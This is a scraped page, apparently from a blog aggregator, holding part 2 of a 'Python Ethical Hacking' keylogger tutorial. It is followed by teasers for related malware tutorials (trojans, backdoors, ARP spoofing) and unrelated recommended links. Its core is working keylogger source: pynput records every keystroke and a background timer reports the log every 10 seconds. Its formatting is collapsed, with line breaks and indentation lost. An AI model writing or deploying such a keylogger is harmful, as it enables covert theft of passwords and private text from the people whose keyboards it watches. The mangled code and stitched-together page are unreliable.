Report function:

  • Run in the background.
  • Don't interrupt program execution.
  • Every X seconds, send the report.

->Great case for threading.

#!/usr/bin/env python
import threading
import pynput.keyboard log = "" def process_key_press(key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " " def report():
global log
print(log)
log = ""
timer = threading.Timer(10, report)
timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
report()
keyboard_listener.join()

Python Ethical Hacking - KEYLOGGER(2)的更多相关文章

  1. Python Ethical Hacking - KEYLOGGER(3)

    Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group fu ...

  2. Python Ethical Hacking - KEYLOGGER(1)

    A program that records keys pressed on the keyboard. Common features: Store logs locally(local keylo ...

  3. Python Ethical Hacking - TROJANS Analysis(1)

    TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When e ...

  4. Python Ethical Hacking - Malware Packaging(2)

    PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target ...

  5. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  6. Python Ethical Hacking - BACKDOORS(1)

    REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persiste ...

  7. Python Ethical Hacking - Malware Analysis(1)

    WRITING MALWARE Download file. Execute Code. Send Report. Download & Execute. Execute & Repo ...

  8. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  9. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

随机推荐

  1. Eplan如何调用经常使用的自绘部件?

    Eplan如何调用经常使用的自绘部件?采用宏的简单应用,即可. 参考文档:https://blog.csdn.net/txwtech/article/details/90510106

  2. k8s的两种网络方案与多种工作模式[flannel与calico]

    k8s的两种网络方案与多种工作模式 1. Flannel: flannel有三种工作模式: 1. vxlan(隧道方案) 2. host-gw(路由方案) 2. udp(在用户态实现的数据封装解封装, ...

  3. nginx在windows系统中启动、重启、停止,常用命令

    cmd终端在进入到nginx的安装目录下使用对应命令 查看nginx的版本号:nginx -v 启动nginx:start nginx 快速停止或关闭nginx:nginx -s stop 正常停止或 ...

  4. Python3-apscheduler模块-定时调度

    from apscheduler.schedulers.background import BackgroundScheduler, BlockingScheduler from apschedule ...

  5. Spring—容器外的Bean使用依赖注入

    认识AutowireCapableBeanFactory AutowireCapableBeanFactory是在BeanFactory的基础上实现对已存在实例的管理.可以使用这个接口集成其他框架,捆 ...

  6. Jmeter(十三) - 从入门到精通 - JMeter定时器 - 上篇(详解教程)

    1.简介 用户实际操作时,并非是连续点击,而是存在很多停顿的情况,例如:用户需要时间阅读文字内容.填表.或者查找正确的链接等.为了模拟用户实际情况,在性能测试中我们需要考虑思考时间.若不认真考虑思考时 ...

  7. C# 从1到Core--委托与事件

    委托与事件在C#1.0的时候就有了,随着C#版本的不断更新,有些写法和功能也在不断改变.本文温故一下这些改变,以及在NET Core中关于事件的一点改变. 一.C#1.0 从委托开始 1. 基本方式 ...

  8. 全网最深分析SpringBoot MVC自动配置失效的原因

    前言 本来没有计划这一篇文章的,只是在看完SpringBoot核心原理后,突然想到之前开发中遇到的MVC自动失效的问题,虽然网上有很多文章以及官方文档都说明了原因,但还是想亲自看一看,本以为很简单的事 ...

  9. Python之浅谈运算符

    目录 格式化输出的三种方式 第一种格式化方式(3.0) 第二种格式化方式(3.4) 第三种格式化方式(3.6) 基本运算符 逻辑运算符 相等运算符 比较运算符 算术运算符 位运算符 流程控制 if判断 ...

  10. 2020年,web前端还好找工作吗?

    好不好找是个相对概念,如果你要跟几年前相比,那么一定是「相对不好找」.原因所学的知识过时 用 Vue 模仿一个饿了么就能找工作的时代一去不复返. 但是为什么现在一堆大厂喊着招聘难呢? 那是因为候选人技 ...